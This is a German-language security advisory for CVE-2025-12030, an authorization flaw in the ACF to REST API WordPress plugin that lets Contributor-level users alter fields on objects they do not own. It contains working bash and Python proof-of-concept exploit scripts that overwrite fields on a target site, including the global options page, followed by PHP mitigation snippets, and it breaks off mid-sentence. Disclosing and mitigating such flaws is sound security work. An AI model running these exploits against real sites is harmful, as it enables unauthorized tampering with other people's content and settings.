
ACF to REST API WordPress Plugin IDOR-Sicherheitslücke (CVE-2025-12030) - Sicherheitslücke, die es authentifizierten Benutzern mit Mitwirkender-Zugriff erlaubt, ACF-Felder an Objekten zu ändern, die ihnen nicht gehören.
Schlagwörter: CVE-2025-12030, ACF to REST API Schwachstelle, IDOR, WordPress-Sicherheit, authentifizierter Exploit, WordPress-Plugin-Schwachstelle, CWE-639, ACF-Feldänderung, Autorisierungsumgehung, WordPress CVE 2025, Advanced Custom Fields, REST API Sicherheit
ACF to REST API WordPress Plugin IDOR-Schwachstelle (CVE-2025-12030) – Sicherheitslücke, die authentifizierten Benutzern mit Contributor-Zugriff erlaubt, ACF-Felder an Objekten zu ändern, die ihnen nicht gehören.
Eine Schwachstelle aufgrund einer unsicheren direkten Objektreferenz (IDOR) wurde im ACF to REST API WordPress Plugin entdeckt, die es authentifizierten Angreifern mit minimalen Berechtigungen ermöglicht, ACF-Felder in der gesamten WordPress-Installation zu ändern.
Entdeckt von: Kai Aizen (SnailSploit)
Veröffentlicht: 6. Januar 2026
CVSS-Score: 4.3 (Mittel)
CWE: CWE-639 – Autorisierungsumgehung durch benutzergesteuerten Schlüssel
Plugin: ACF to REST API
Plugin-Slug: acf-to-rest-api
Angriffstyp: Unsichere direkte Objektreferenz (IDOR)
Erforderliche Berechtigungen: Contributor+ (authentifizierter Angriff)
Das ACF to REST API Plugin für WordPress ist in allen Versionen bis einschließlich 3.3.4 anfällig für eine unsichere direkte Objektreferenz. Dies liegt an unzureichenden Berechtigungsprüfungen in der Methode update_item_permissions_check(), die lediglich überprüft, ob der aktuelle Benutzer die Fähigkeit edit_posts besitzt, ohne objektspezifische Berechtigungen zu prüfen (z. B. edit_post($id), edit_user($id), manage_options).
Diese Schwachstelle ermöglicht es authentifizierten Angreifern mit Contributor-Zugriff und höher:
manage_optionsAlle Änderungen sind über die REST-API-Endpunkte /wp-json/acf/v3/{type}/{id} möglich.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Metrik | Wert |
|--------|-------|
| Angriffsvektor | Netzwerk (AV:N) |
| Angriffskomplexität | Niedrig (AC:L) |
| Erforderliche Privilegien | Niedrig (PR:L) |
| Benutzerinteraktion | Keine (UI:N) |
| Umfang | Unverändert (S:U) |
| Vertraulichkeit | Keine (C:N) |
| Integrität | Niedrig (I:L) |
| Verfügbarkeit | Keine (A:N) |
**CVSS v3.1 Aufschlüsselung:**
- **Angriffsvektor (AV):** Netzwerk – Die Schwachstelle kann aus der Ferne über ein Netzwerk ausgenutzt werden
- **Angriffskomplexität (AC):** Niedrig – Für die Ausnutzung sind keine besonderen Bedingungen erforderlich
- **Erforderliche Privilegien (PR):** Niedrig – Erfordert eine Authentifizierung auf Beitrags-Ebene
- **Benutzerinteraktion (UI):** Keine – Der Exploit funktioniert ohne Benutzerinteraktion
- **Umfang (S):** Unverändert – Die Schwachstelle betrifft nur die anfällige Komponente
- **Vertraulichkeit (C):** Keine – Keine Offenlegung von Informationen
- **Integrität (I):** Niedrig – Unberechtigte Änderung von ACF-Feldern
- **Verfügbarkeit (A):** Keine – Keine Auswirkung auf die Verfügbarkeit
## Technische Details
### Ursache der Schwachstelle
Die Schwachstelle besteht in der Methode `update_item_permissions_check()`, die eine unzureichende Autorisierung durchführt:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
Die ordnungsgemäße Implementierung sollte objektspezifische Berechtigungen überprüfen:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### Verwundbare Endpunkte
| Endpoint | Ziel | Erforderliche Berechtigung (Sollte sein) |
|----------|------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Beiträge | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Seiten | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Benutzer | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Kommentare | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Begriffe | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Optionen | `manage_options` |
### Angriffsvektor```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
Die Schwachstelle kann über die WordPress REST-API von jedem authentifizierten Benutzer mit mindestens der Rolle „Contributor“ ausgenutzt werden.
⚠️ Nur für Bildungs- und autorisierte Testzwecke
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64
def exploit(target_url, username, app_password, target_id, target_type="posts"):
"""
Exploit CVE-2025-12030 IDOR vulnerability
Args:
target_url: WordPress site URL
username: Contributor-level username
app_password: Application password
target_id: ID of the object to modify (post, user, etc.)
target_type: Type of object (posts, pages, users, options, etc.)
"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
# Create Basic Auth header
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
print(f"[*] Target: {target_url}")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] Object Type: {target_type}")
print(f"[*] Object ID: {target_id}\n")
# Step 1: Read current ACF fields
print("[*] Step 1: Reading current ACF fields...")
try:
response = requests.get(api_endpoint, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Current ACF fields:")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Failed to read fields: {response.status_code}")
print(response.text)
except requests.RequestException as e:
print(f"[-] Error reading fields: {e}")
return
print("")
# Step 2: Attempt IDOR modification
print("[*] Step 2: Attempting unauthorized modification...")
payload = {
"fields": {
"idor_test": "CVE-2025-12030_IDOR_VERIFIED"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
result = response.json()
print(f"[+] Response:")
print(json.dumps(result, indent=2))
if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
print("[!] Contributor-level user was able to modify objects they don't own!")
else:
print("\n[+] Modification request accepted - verify manually")
else:
print(f"[-] Request failed with status: {response.status_code}")
print(f"Response: {response.text}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
def test_options_page(target_url, username, app_password):
"""Test modification of global options page (requires manage_options normally)"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"\n[*] Testing Options Page IDOR...")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] NOTE: This normally requires manage_options capability!\n")
payload = {
"fields": {
"site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
print(f"[!] CRITICAL: Contributor modified global options page!")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Options modification failed: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
print(f"\nSupported types: posts, pages, users, comments, options")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
app_password = sys.argv[3]
target_id = sys.argv[4]
target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
exploit(target_url, username, app_password, target_id, target_type)
# Also test options page access
if target_type != "options":
test_options_page(target_url, username, app_password)
Sofortiges Handeln erforderlich:
⚠️ Derzeit ist kein offizieller Patch für diese Sicherheitslücke verfügbar.
Fügen Sie in die functions.php Ihres Themes oder ein benutzerdefiniertes Plugin ein:
// Advanced Custom Fields ACF REST API Security Fix
// Add to functions.php or custom plugin
// Block unauthorized ACF field modifications via REST API
add_filter('acf/rest_api/field/update', function($field) {
// Only allow administrators to modify ACF fields
if (!current_user_can('administrator')) {
return false; // Deny the modification
}
return $field;
}, 10, 1);
// Additional security: Restrict ACF REST API endpoints
add_filter('rest_endpoints', function($endpoints) {
// Check if user has admin rights
if (!current_user_can('administrator')) {
// Remove ACF specific endpoints for non-admins
$acf_endpoints = [
'/acf/v3/posts',
'/acf/v3/pages',
'/acf/v3/users',
'/acf/v3/options',
'/acf/v3/custom'
];
foreach ($acf_endpoints as $endpoint) {
if (isset($endpoints[$endpoint])) {
unset($endpoints[$endpoint]);
}
}
}
return $endpoints;
}, 10, 1);
``````php
<?php
/**
* Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
*/
add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
// Only allow administrators to modify via REST API
if (!current_user_can('manage_options')) {
return new WP_Error(
'rest_forbidden',
__('You do not have permission to modify ACF fields via REST API.'),
array('status' => 403)
);
}
return $permission;
}, 10, 3);
Wenn Sie das Plugin forken oder patchen, implementieren Sie eine ordnungsgemäße objektspezifische Autorisierung:```php